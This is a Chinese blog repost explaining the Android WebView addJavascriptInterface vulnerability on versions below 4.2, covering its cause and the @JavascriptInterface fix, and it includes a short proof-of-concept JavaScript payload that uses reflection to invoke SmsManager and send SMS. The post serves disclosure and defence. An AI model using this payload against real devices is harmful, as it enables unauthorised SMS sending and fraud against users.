原文链接:http://www.cnblogs.com/goodhacker/p/3343837.html

一、漏洞描述

  近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友 发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用 均被曝光同类型漏洞。

二、影响版本

  Android系统版本低于4.2

三、漏洞原理

漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

漏洞触发条件:

1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

2、使用WebView加载外部网页。

3、Android系统版本低于4.2

漏洞原因:

Android系统通过WebView.addJavascriptInterface 方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

四、POC代码

我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

1 WebView webview = new WebView(context);
2
3 WebSettings webset= webview.getSettings();
4 webset.setJavaScriptEnabled(true);
5 webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

利用该漏洞的外部javascript脚本:

1 <script>
2
3 var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
4
5 obj_smsManager.sendTextMessage("159********",null,"test",null,null);
6
7 </script>

  出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以 @JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来 的链接。

五、相关链接

http://drops.wooyun.org/papers/548

http://50.56.33.56/blog/?p=314

本文转自http://blog.csdn.net/androidsecurity/article/details/11131891

webview漏洞 -转的更多相关文章

  1. android webview 漏洞背后的节操

    by superhei 2013/09/06 [注:本文提到的都是我个人的观点,该行为也是私人行为,与任何组织.公司无关.另:水军请自重!] 一.前言   这两天,一个2+年前的android web ...

  2. Android WebView漏洞(转)

    一.漏洞描述 近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件.向好友 发送欺诈短信.通讯录和短信被窃取等严重后果. ...

  3. 总结移动安全的测试点及详解allowbackup漏洞

    一.移动应用APP可能面临以下威胁: 木马--二次打包, 病毒--账号窃取, 篡改--资源篡改, 破解--广告植入, 钓鱼--信息劫持  二.移动终端APP安全评估的7个方向: 通信安全,敏感信息安全 ...

  4. Android中WebView的JavaScript代码和本地代码交互的三种方式

    一.Android中WebView的漏洞分析最近在开发过程中遇到一个问题,就是WebView使用的时候,还是需要解决之前系统(4.2之前)导致的一个漏洞,虽然现在这个系统版本用户很少了,但是也不能忽视 ...

  5. (转载)JS与WebView交互存在的一些问题

    JS与WebView交互存在的一些问题 作者 隔壁的李小宝 关注 2015.06.09 19:30 字数 2896 阅读 11117评论 3喜欢 35 一.背景概述 2013年Android平台暴露出 ...

  6. android安全测试 APP要点解析

    评估思路 移动APP面临的威胁 风起云涌的高科技时代,随着智能手机和iPad等移动终端设备的普及,人们逐渐习惯了使用应用客户端上网的方式,而智能终端的普及不仅推动了移动互联网的发展,也带来了移动应用的 ...

  7. 理解Android安全机制

    本文从Android系统架构着手,分析Android的安全机制以SE Android,最后给出一些Android安全现状和常见的安全解决方案. 1.Android系统架构 Android采用分层的系统 ...

  8. Android开发在路上:少去踩坑,多走捷径

    转自:http://djt.qq.com/article/view/1193   最近一朋友提了几个Android问题让我帮忙写个小分享,我觉得对新人还是挺有帮助的,所以有了这个小分享. 1.目前, ...

  9. Android开发之少去踩坑,多走捷径【转】

    作者:gzjay,腾讯MIG无线产品部 高级工程师 最近一朋友提了几个Android问题让我帮忙写个小分享,我觉得对新人还是挺有帮助的,所以有了这个小分享. 1.目前, Android APP开发完成 ...

随机推荐

  1. 欧拉定理【p4861】按钮

    Background Ada被关在了一个房间里. Description 房间的铁门上有一个按钮,还有一个显示屏显示着"1". 旁边还有一行小字:"这是一个高精度M进制计 ...

  2. 14、Flask实战第14天:Flask使用SQLAlchemy

    flask-sqlalchemy使用详解 之前我们用到的SQLAchemy是可以单独使用的,不需要用到Flask 如果我们在Flask框架中使用SQLAchemy,可以使用flask_sqlalche ...

  3. python requests的安装与简单运用(转)

    http://www.cnblogs.com/fightformylife/p/4134986.html http://cn.python-requests.org/zh_CN/latest/ htt ...

  4. RobotFramework自动化测试框架系统关键字之断言

    一.基础 RobotFramework带有丰富的系统关键,使用时无需导入,直接使用,为写自动化用例带来了极大的方便:不能停留在知道或者是会得程度,只有熟练使用各关键字,才能提升自动化用例的写作效率.下 ...

  5. wildfly8.1部署注意事项

    wildfly8.1部署注意事项 jboss  最近新项目上线,本人部署过程中总结了以下几点比较关键的地方,看是否对大家有用处     服务器改成支持外网访问 在standalone.xml文件中找到 ...

  6. POJ 1236 Network of Schools(SCC)

    [题目链接] http://poj.org/problem?id=1236 [题目大意] 给出一张有向图,问需要从几个起点出发才能遍历全图, 如果要求从任何一个点出发都能遍历全图,那么最少需要增加几条 ...

  7. 【kruscal】【最小生成树】【块状树】bzoj3732 Network

    跟去年NOIP某题基本一样. 最小生成树之后,就变成了询问连接两点的路径上的权值最大的边. 倍增LCA.链剖什么的随便搞. 块状树其实也是很简单的,只不过每个点的点权要记录成“连接其与其父节点的边的权 ...

  8. 【博弈论】【SG函数】bzoj3404 [Usaco2009 Open]Cow Digit Game又见数字游戏

    #include<cstring> #include<cstdio> #include<algorithm> #include<set> using n ...

  9. Python中内置的日志模块logging用法详解

    logging模块简介 Python的logging模块提供了通用的日志系统,可以方便第三方模块或者是应用使用.这个模块提供不同的日志级别,并可以采用不同的方式记录日志,比如文件,HTTP GET/P ...

  10. 1.8(java学习笔记)继承与方法的重写

    继承 在java中可以通过继承提高代码的复用率. 例如A继承了B,就可以是 例如,首先有一个类似Person,这个类中有有一些属性和方法,我们再新建一个Student类,其中有一部分属性和方法与Per ...